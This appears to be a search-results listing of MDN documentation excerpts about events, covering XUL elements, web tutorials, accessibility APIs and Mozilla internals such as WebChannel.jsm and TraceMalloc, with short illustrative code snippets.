... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
listitem - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
radio - Archive of obsolete content
ArchiveMozillaXULradio
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements radiogroup, checkbox interfaces nsiaccessibleprovider, nsidomxulselectcontrolitemelement, nsidomxullabeledcontrolelement ...
resizer - Archive of obsolete content
the resizer will send a command event after the resize is complete.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
richlistitem - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider, nsidomxulselectcontrolitemelement ...
toolbox - Archive of obsolete content
if you'd like to detect when toolbars in a toolbox are changed, see toolbar customization events.
...oolbarbutton label="back"/> <toolbarbutton label="forward"/> <toolbarbutton label="home"/> </toolbar> <toolbar> <toolbarbutton label="stop"/> <toolbarbutton label="reload"/> </toolbar> </toolbox> <textbox multiline="true" value="we have two toolbars inside of one toolbox above." width="20"/> </window> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributen...
...s(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appendcustomtoolbar( name, currentset ) firefox only return type: element adds a custom toolbar to the toolbox with the given name.
2006-11-03 - Archive of obsolete content
does firefox provide any classes/objects or events to windows wmi ?
... a user asks if firefox provides any classes/objects or events to windows wmi.
... firing pageshow/pagehide when users change tabs discussion about using events that could be fired when the user changes a tab.
... event in firefox similar to ondownloadcomplete event in ie a user asks what even can be used that is similar to the ondownloadcomplete even in ie.
2006-11-04 - Archive of obsolete content
firefox provide any classes/objects or events to windows wmi ?
... a user asks if firefox provides any classes/objects or events to windows wmi.
... pageshow/pagehide when users change tabs discussion about using events that could be fired when the user changes a tab.
... in firefox similar to ondownloadcomplete event in ie a user asks what even can be used that is similar to the ondownloadcomplete even in ie.
-ms-scroll-translation - Archive of obsolete content
if your javascript is listening for scroll wheel document object model (dom) events, the events that occur when the user scrolls vertically will always be vertical scroll events, not horizontal scroll events.
... similarly, the events that occur when the user scrolls horizontally will always be horizontal scroll events.
... this property enables you to change this behavior for vertical scroll events.
... by setting the -ms-scroll-translation property to vertical-to-horizontal, you are specifying that vertical scroll events should be interpreted as their corresponding horizontal scroll events.
Desktop gamepad controls - Game development
first, we need an event listener to listen for the connection of the new device: window.addeventlistener("gamepadconnected", gamepadhandler); it's executed once, so we can create some variables we will need later on for storing the controller info and the pressed buttons: var controller = {}; var buttonspressed = []; function gamepadhandler(e) { controller = e.gamepad; output.innerhtml = "gamepad: " + control...
...here's the gamepadapi object, which contains useful variables and functions: var gamepadapi = { active: false, controller: {}, connect: function(event) {}, disconnect: function(event) {}, update: function() {}, buttons: { layout: [], cache: [], status: [], pressed: function(button, state) {} } axes: { status: [] } }; the controller variable stores the information about the connected gamepad, and there's an active boolean variable we can use to know if the controller is connected o...
...the connect() and disconnect() functions are bound to the following events: window.addeventlistener("gamepadconnected", gamepadapi.connect); window.addeventlistener("gamepaddisconnected", gamepadapi.disconnect); they are fired when the gamepad is connected and disconnected respectively.
... after the gamepad is connected, the information about the controller is stored in the object: connect: function(event) { gamepadapi.controller = event.gamepad; gamepadapi.active = true; }, the disconnect function removes the information from the object: disconnect: function(event) { delete gamepadapi.controller; gamepadapi.active = false; }, the update() function is executed in the update loop of the game on every frame, so it contains the latest information on the pressed buttons: update: fu...
2D maze game with device orientation - Game development
handleorientation is the function bound to the event responsible for the device orientation api, providing the motion controls when the game is running on a mobile device with appropriate hardware.
...let’s focus on the keyboard first by adding the following to the create() function : this.keys = this.game.input.keyboard.createcursorkeys(); as you can see there’s a special phaser function called createcursorkeys(), which will give us an object with event handlers for the four arrow keys to play with: up, down, left and right.
...here’s the code from the create() function responsible for this: window.addeventlistener("deviceorientation", this.handleorientation, true); we’re adding an event listener to the "deviceorientation" event and binding the handleorientation function which looks like this: handleorientation: function(e) { var x = e.gamma; var y = e.beta; ball._player.body.velocity.x += x; ball._player.body.velocity.y += y; }, the more you tilt the device, the more force is a...
...we have this printed out on the screen, but it would be good to update the values every second: this.time.events.loop(phaser.timer.second, this.updatecounter, this); this loop, also in the create function, will execute the updatecounter function every single second from the beginning of the game, so we can apply the changes accordingly.
jQuery - MDN Web Docs Glossary: Definitions of Web-related terms
jquery is a javascript library that focuses on simplifying dom manipulation, ajax calls, and event handling.
... jquery uses a format, $(selector).action() to assign an element(s) to an event.
... to explain it in detail, $(selector) will call jquery to select selector element(s), and assign it to an event api called .action().
... $(document).ready(function(){ alert("hello world!"); $("#blackbox").hide(); }); the above code carries out the same function as the following code: window.onload = function() { alert("hello world!"); document.getelementbyid("blackbox").style.display = "none"; }; or: window.addeventlistener("load", () => { alert("hello world!"); document.getelementbyid("blackbox").style.display = "none"; }); learn more general knowledge jquery on wikipedia jquery official website technical information offical api reference documentation ...
Mobile accessibility - Learn web development
control mechanisms in our css and javascript accessibility article, we looked at the idea of events that are specific to a certain type of control mechanism (see mouse-specific events).
... as an example, the click event is good in terms of accessibility — an associated event handler can be invoked by clicking the element the handler is set on, tabbing to it and pressing enter/return, or tapping it on a touchscreen device.
... alternatively, mouse-specific events such as mousedown and mouseup create problems — their event handlers cannot be invoked using non-mouse controls.
...this occurs because we are using code such as the following: div.onmousedown = function() { initialboxx = div.offsetleft; initialboxy = div.offsettop; movepanel(); } document.onmouseup = stopmove; to enable other forms of control, you need to use different, yet equivalent events — for example, touch events work on touchscreen devices: div.ontouchstart = function(e) { initialboxx = div.offsetleft; initialboxy = div.offsettop; positionhandler(e); movepanel(); } panel.ontouchend = stopmove; we've provided a simple example that shows how to use the mouse and touch events together — see multi-control-box-drag.html (see the example live also).
Images in HTML - Learn web development
.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
...e = 'show solution'; } updatecode(); }); var htmlsolution = '<img src="https://udn.realityripple.com/samples/ec/5a13bd14f6.jpg"\n alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"\n title="a t-rex on display in the manchester university museum">'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = t...
....7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
... solution'; } updatecode(); }); var htmlsolution = '<figure>\n <img src="https://udn.realityripple.com/samples/ec/5a13bd14f6.jpg"\n alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171">\n <figcaption>a t-rex on display in the manchester university museum</figcaption>\n</figure>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea...
From object to iframe — other embedding technologies - Learn web development
width: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); let code = textarea.value; let userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
...n<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3a0xf82fddd1e49fc0a1!2sthe+lowry!5e0!3m2!1sen!2suk!4v1518171785211" width="600" height="450" frameborder="0" style="border:0" allowfullscreen>\n</iframe>'; let solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textar...
...you should serve your websites using https whenever possible: https reduces the chance that remote content has been tampered with in transit, https prevents embedded content from accessing content in your parent document, and vice versa.
...this can prevent other websites from embedding your content in their web pages (which would enable clickjacking and a host of other attacks), which is exactly what the mdn developers have done, as we saw earlier on.
Image gallery - Learn web development
previous overview: building blocks now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and events by getting you to build a fairly common item you'll see on a lot of websites — a javascript-powered image gallery.
... objective: to test comprehension of javascript loops, functions, conditionals, and events.
... alternatively, you can add one event listener to the thumb bar.
... previous overview: building blocks in this module making decisions in your code — conditionals looping code functions — reusable blocks of code build your own function function return values introduction to events image gallery ...
JavaScript building blocks - Learn web development
in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events.
... introduction to events events are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired.
...in this final article we will discuss some important concepts surrounding events, and look at how they work in browsers.
... image gallery now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and events by building a fairly common item you'll see on a lot of websites — a javascript-powered image gallery.
Manipulating documents - Learn web development
using methods available on this object you can do things like return the window's size (see window.innerwidth and window.innerheight), manipulate the document loaded into that window, store data specific to that document on the client-side (for example using a local database or other storage mechanism), attach an event handler to the current window, and more.
... how about we use an event so that the div resizes as we resize the window?
... the window object has an event available on it called resize, which is fired every time the window is resized — let's access that via the window.onresize event handler and rerun our sizing code each time it changes.
... attach an event handler to the delete button, so that when clicked it will delete the entire list item it is inside.
Third-party APIs - Learn web development
add the following line to your javascript, below the "// event listeners to control the functionality" comment.
... searchform.addeventlistener('submit', submitsearch); now add the submitsearch() and fetchresults() function definitions, below the previous line: function submitsearch(e) { pagenumber = 0; fetchresults(e); } function fetchresults(e) { // use preventdefault() to stop the form submitting e.preventdefault(); // assemble the full url url = baseurl + '?api-key=' + key + '&page=' + pagenumber + '&q=' + searchterm.value + '&fq=document_type:("article")'; if(startdate.value !== '') { url += '&begin_date=' + startdate.value; }; if(enddate.value !== '') { url += '&end_date=' + enddate.value; }; } submitsearch() sets the page number back to 0 to begin with, then ...
...this first calls preventdefault() on the event object, to stop the form actually submitting (which would break the example).
... below the existing addeventlistener() call, add these two new ones, which cause the nextpage() and previouspage() functions to be invoked when the relevant buttons are clicked: nextbtn.addeventlistener('click', nextpage); previousbtn.addeventlistener('click', previouspage); below your previous addition, let's define the two functions — add this code now: function nextpage(e) { pagenumber++; fetchresults(e)...
Arrays - Learn web development
buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value ...
...\n let subarray = products[i].split(\':\');\n let name = subarray[0];\n let price = number(subarray[1]);\n total += price;\n let itemtext = name + \' — $\' + price;\n\n let listitem = document.createelement(\'li\');\n listitem.textcontent = itemtext;\n list.appendchild(listitem);\n}\n\ntotalbox.textcontent = \'total: $\' + total.tofixed(2);'; let solutionentry = jssolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = texta...
...abel { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value ...
...chinput.value);\n\n list.innerhtml = \'\';\n\n for(let i = 0; i < myhistory.length; i++) {\n itemtext = myhistory[i];\n const listitem = document.createelement(\'li\');\n listitem.textcontent = itemtext;\n list.appendchild(listitem);\n }\n\n if(myhistory.length >= 5) {\n myhistory.pop();\n }\n\n searchinput.value = \'\';\n searchinput.focus();\n }\n}'; let solutionentry = jssolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textar...
Beginning our React todo list - Learn web development
if we were to use checked, as we would in regular html, react would log some warnings into our browser console relating to handling events on the checkbox, which we want to avoid.
... don't worry too much about this for now — we will cover this later on when we get to using events.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Styling Vue components with CSS - Learn web development
update your todoform template so that it looks like this: <template> <form @submit.prevent="onsubmit"> <h2 class="label-wrapper"> <label for="new-todo-input" class="label__lg"> what needs to be done?
...this is where the scoped attribute can be useful — this attaches a unique html data attribute selector to all of your styles, preventing them from colliding globally.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Deploying our app - Learn web development
running tests: these can range from "is this code formatted properly?" to "does this thing do what i expect?", and ensuring failing tests prevent deployment.
...i'll show you how to add an initial test to your project and how to use the test to prevent or to allow the project deployment to happen.
...if not, the test will fail and will prevent the project from going live.
... could you add more tests to prevent a bad build from deploying, such as performance audits?
Accessibility API cross-reference
fill out tagged pdf column (relevant documents from pdf association) add missing aria properties fill out events cross reference table use this info to expand mozilla's accessibility api coverage to include mac, so that we can start to freeze them talk about the fact that msaa uses one interface (iaccessible), wherease gnome accessibility uses a lot of different interfaces depending on the type of object go through the atk info and make sure it's up-to-date accessible roles description & not...
... glass_pane glass_pane n/a multiple adjacent panes that can be sized relative to each other by dragging a grippy on their border split_pane split_pane n/a an object that can be drawn into and is used to trap events.
... selfvoicing n/a n/a object can be resized n/a resizable resizable this object and all of its ancestors are visible n/a showing showing this text object can only contain 1 line of text n/a single_line single_line tells accessibility aid "don't add event listener - this object doesn't generate any".
... unavailable enabled n/a aria-disabled=true disabled (boolean attribute) especially used for sliders and scrollbars n/a vertical vertical aria-orientation=vertical accessible events msaa event (event_object_*, event_system_*) java accessibility event gnome accessibility signals mac os x accessibility event description & notes javascript relevant xul focus focus, focusin blur, focusout selection select state_change chang...
Eclipse CDT Manual Setup
enever you create a new workspace for a mozilla source tree, you should be sure to turn off the following two settings in the workspace preferences (window > preferences, or eclipse > preferences) before creating a project in that workspace: in "general > workspace", disable "build automatically" in "c/c++ > indexer", disable "automatically update the index" turning off automatic indexing prevents the cpu intensive indexer from running at various stages during the steps below before we're ready.
... select "general > workspace" and select "refresh using native hooks or polling" and "refresh on access" to prevent eclipse giving you annoying "resource is out of sync" messages when files change from under it due to mercurial or other external activity.
...this prevents the (useless if not debugging) "searching for binaries" action from constantly interrupting everything.
...doing this prevents the "searching for binaries" which eclipse constantly starts from taking too long.
HTMLIFrameElement.addNextPaintListener()
the addnextpaintlistener() method of the htmliframeelement is used to define a handler to listen for the next mozafterpaint event coming from the browser <iframe>.
... this event provides information about what has been repainted.
... note: the handler will receive the event once and then be thrown away.
... parameters listener a function handler to listen for a mozafterpaint event.
WebChannel.jsm
the webchannel.jsm javascript code module provides an abstraction that uses the message manager and custom events apis to create a two-way communication channel between chrome and content code for specific origins (using a specific origin passed to the constructor or a lookup with nsipermissionmanager while also ensuring the scheme is https).
... method overview listen(function callback); stoplistening(); send(object message, eventtarget target); attributes id string webchannel id methods listen() registers the callback for messages on this channel.
... parameters none send() sends messages over the webchannel id using the "webchannelmessagetocontent" event.
...rome code and a webpage chrome code let channel = new webchannel(webchannelid, services.io.newuri("https://mozilla.org", null, null)); // receive messages channel.listen(function (webchannelid, message, sendercontext) { // send messages channel.send({ data: { greeting: true } }, sendercontext); }); webpage code receive messages from an existing webchannel in content code window.addeventlistener("webchannelmessagetocontent", function(e) { // receive messages console.log(e.detail); }, true); send messages to an existing webchannel in chrome code window.dispatchevent(new window.customevent("webchannelmessagetochrome", { detail: { id: webchannelid, message: { something: true } } })); ...
Gecko Profiler FAQ
tasktracer: from the above, how do we decide on prioritization on the same thread event queue?
... is there a way to isolate or filter a profile (at least of mainthread and maybe one or two other ones that make sense) to a specific tab/document/eventqueue?
...some functions (reflow, painting, js excecution) insert the url of the associated document into the call stack frame, so you can get a rough idea, but we don’t have instrumentation at the tab/document/eventqueue level.
...the profile contains markers for dom events, and those include user-generated events like mouse clicks, but these markers are only exposed as a huge unsearchable list in the markers tab.
TraceMalloc
the built mozilla application will support the following additional command-line options: --trace-malloc filename the application will log allocation and deallocation events with stack traces in a binary format to the given file.
... also, your javascript can call the following dom window methods: tracemallocdisable() - turn off tracing, first flushing any buffered log events for all log files.
... tracemalloccloselogfd(logfd) - close the log file identified by logfd, flushing its buffer of any events first.
... tracemalloclogtimestamp(caption) - log a timestamp event to the current log file, annotating the log even with the caption string.
Scripting Java
javascript functions as java interfaces often we need to implement an interface with only one method, like in the previous runnable example or when providing various event listener implementations.
...function can use it to distinguish on behalf of which method it was called: js> var frame = new packages.javax.swing.jframe(); js> frame.addwindowlistener(function(event, methodname) { if (methodname == "windowclosing") { print("calling system.exit()..."); java.lang.system.exit(0); } }); js> frame.setsize(100, 100); js> frame.visible = true; true js> calling system.exit()...
...for example: js> javastring.match(/a.*/) ava javaimporter constructor javaimporter is a new global constructor that allows to omit explicit package names when scripting java: var swinggui = javaimporter(packages.javax.swing, packages.javax.swing.event, packages.javax.swing.border, java.awt.event, java.awt.point, java.awt.rectangle, java.awt.dimension); ...
...the class provides additional importpackage() and importclass() global functions for scripts but their extensive usage has tendency to pollute the global name space with names of java classes and prevents loaded classes from garbage collection.
JSAPI User Guide
the word javascript may bring to mind features such as event handlers (like onclick), dom objects, window.open, and xmlhttprequest.
... as the application progresses, eventually it doesn't need the compiled script anymore, and the compiled script object becomes unreachable.
... the garbage collector then eventually collects the unreachable script and its components.
... if (!js_addnamedobjectroot(cx, &scriptobj, "compileandrepeat script object")) return false; for (;;) { jsval result; if (!js_executescript(cx, js_getglobalobject(cx), script, &result)) break; js_maybegc(cx); } js_removeobjectroot(cx, &scriptobj); /* scriptobj becomes unreachable and will eventually be collected.
JS::CallArgs
(spidermonkey doesn't currently assert this, but it will do so eventually.) you don't need to use or change this if your method fails.
... the eventual plan is to change jsnative to take const callargs& directly, for automatic assertion of correct use and to make calling functions more efficient.
...then, when an eventual release making that change occurs, porting efforts will require changing methods' signatures but won't require invasive changes to the methods' implementations, potentially under time pressure.
... js::callargs encapsulates access to the callee, this, the function call's arguments, and eventual return value for a function call.
Implementation Details
at-spi events refer to specific pages to get information of supported events for interested at api: gecko msaa ia2 at-spi implementation features this section highlights special features of at apis implementation by gecko.
... msaa/iaccessible2 at-spi avoiding memory leaks it is the assistive technology's responsibility to watch for events that indicate when windows or content subtrees are being destroyed, and to release all accessible objects related to that window.
...mutation events should be watched to invalidate the cache.
... under msaa/ia2, watch for event_hide under atk/at-spi, watch for children-changed:remove to help developers in that regard, there is memory leak monitor, a firefox extension.
Components.utils.exportFunction
de in the exported function will affect the original object that was passed in: // privileged scope: for example, a content script function changemyname(user) { user.name = "bill"; } exportfunction(changemyname, contentwindow, { defineas: "changemyname" }); // less-privileged scope: for example, a page script var user = {name: "jim"}; var test = document.getelementbyid("test"); test.addeventlistener("click", function() { console.log(user.name); // "jim" window.changemyname(user); console.log(user.name); // "bill" }, false); note that this is subject to the normal rules of xrays: for example, an expando property added to a dom node will not be visible in the original object.
...or example, a content script function loguser(user) { // console.log(user.getuser()); // error console.log(user.wrappedjsobject.getuser()); // "bill" } exportfunction(loguser, contentwindow, { defineas: "loguser" }); // less-privileged scope: for example, a page script var user = {getuser: function() {return "bill";}} var test = document.getelementbyid("test"); test.addeventlistener("click", function() { window.loguser(user); }, false); passing functions as arguments if functions are given as arguments, these are also passed as xrays.
...unction just works, making the allowcallbacks option redundant: // privileged scope: for example, a content script function loguser(getuser) { console.log(getuser()); // "bill" } exportfunction(loguser, unsafewindow, { defineas: "loguser" }); // less-privileged scope: for example, a page script function getuser() { return "bill"; } var test = document.getelementbyid("test"); test.addeventlistener("click", function() { window.loguser(getuser); }, false); cross-origin checking when the exported function is called each argument, including this, is checked to make sure that the caller subsumes that argument.
... this prevents passing cross-origin objects (like window or location) to privileged functions, since the privileged code will have full access to those objects and might unintentionally do something dangerous.
IAccessible2
this value is provided so the at can have access to a unique runtime persistent identifier even when not handling an event for the object.
...when an event is fired the at could map the uniqueid to its internal model.
... thus, if there's a reorder/show/hide event the at knows which part of the internal structure has been invalidated and can refetch just that part.
...this is the same window handle which will be passed for any events that occur on the object, but is cached in the accessible object for use when it would be helpful to access the window handle in cases where an event isn't fired on this object.
nsIAccessibilityService
